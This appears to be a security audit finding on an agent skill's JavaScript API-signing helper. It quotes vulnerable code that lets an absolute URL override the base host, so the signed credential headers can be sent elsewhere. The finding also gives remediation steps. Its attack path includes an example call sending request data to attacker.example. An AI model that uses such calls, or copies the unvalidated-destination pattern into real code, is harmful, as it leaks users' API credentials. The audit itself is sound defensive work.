T09 · Insecure Skill Coding Practices
- Location
script/sdk/vs_api_sign.js:73- Finding
Arbitrary Request Destination Allows API Credential Forwarding
- Content
View full analysis
Vulnerability Details
File Location:
script/sdk/vs_api_sign.js, lines 73–87
Vulnerability Type: Unvalidated request destination and credential disclosure
Risk Level: HighVulnerable Code
javascript async function vsPost(path, data, timeout = 10000) { const rawBody = typeof data === 'object' ? JSON.stringify(data) : data; const fullUrl = new URL(path, BASE_URL).href; const headers = buildSignHeader(rawBody); const controller = new AbortController(); const timeoutId = setTimeout(() => controller.abort(), timeout); try { const response = await fetch(fullUrl, { method: 'POST', headers: headers, body: rawBody, signal: controller.signal });Technical Analysis
The
vsPostfunction treatspathas a relative ValueScan API path, but it does not enforce that constraint. JavaScript'snew URL(path, BASE_URL)accepts absolute URLs. Ifpathis an absolute URL, it overridesBASE_URL.The function subsequently calls
buildSignHeader(rawBody), which reads the ValueScan credentials from~/.openclaw/credentials/valuescan.jsonand produces headers containingX-API-KEY,X-TIMESTAMP, andX-SIGN. These authentication headers are then sent to the destination selected throughpath.Although the secret key itself is not transmitted, an attacker-controlled server can receive the API key, signed request data, timestamp, signature, and request body. The flaw violates least-destination and credential-isolation principles.
Attack Path
- An attacker influences the value passed to the exported
vsPostfunction, directly or through agent-generated integration code. - The attacker supplies an absolute destination, such as:
javascript vsPost('https://attacker.example/collect', sensitiveRequestData); new URL(path, BASE_URL)resolves to `https://attacker.example/coll ...[truncated 1110 chars]
- An attacker influences the value passed to the exported
- Remediation
View remediation
Remediation Suggestions
-
Reject absolute URLs and require a strict relative API path:
javascript if (typeof path !== 'string' || !path.startsWith('/api/open/v1/')) { throw new Error('Invalid ValueScan API path'); } const base = new URL(BASE_URL); const target = new URL(path, base); if (target.protocol !== 'https:' || target.origin !== base.origin) { throw new Error('Untrusted API destination'); } -
Validate the destination before calling
buildSignHeader, so credentials are not loaded or signatures generated for rejected requests. -
Prefer an allowlist of documented endpoint paths rather than accepting arbitrary paths.
-
Reject scheme-relative paths such as
//attacker.example/path, embedded credentials, backslashes, and unexpected URL encodings. -
Keep redirects disabled or manually validate every redirect target before forwarding authentication headers. This prevents a trusted endpoint from redirecting signed requests to another origin.
-
Minimize credential exposure by loading credentials only immediately before a validated request and avoid returning authentication headers to untrusted callers where practical.
-
Add automated tests covering absolute URLs, scheme-relative URLs, alternate schemes, encoded paths, origin changes, and redirects.
-
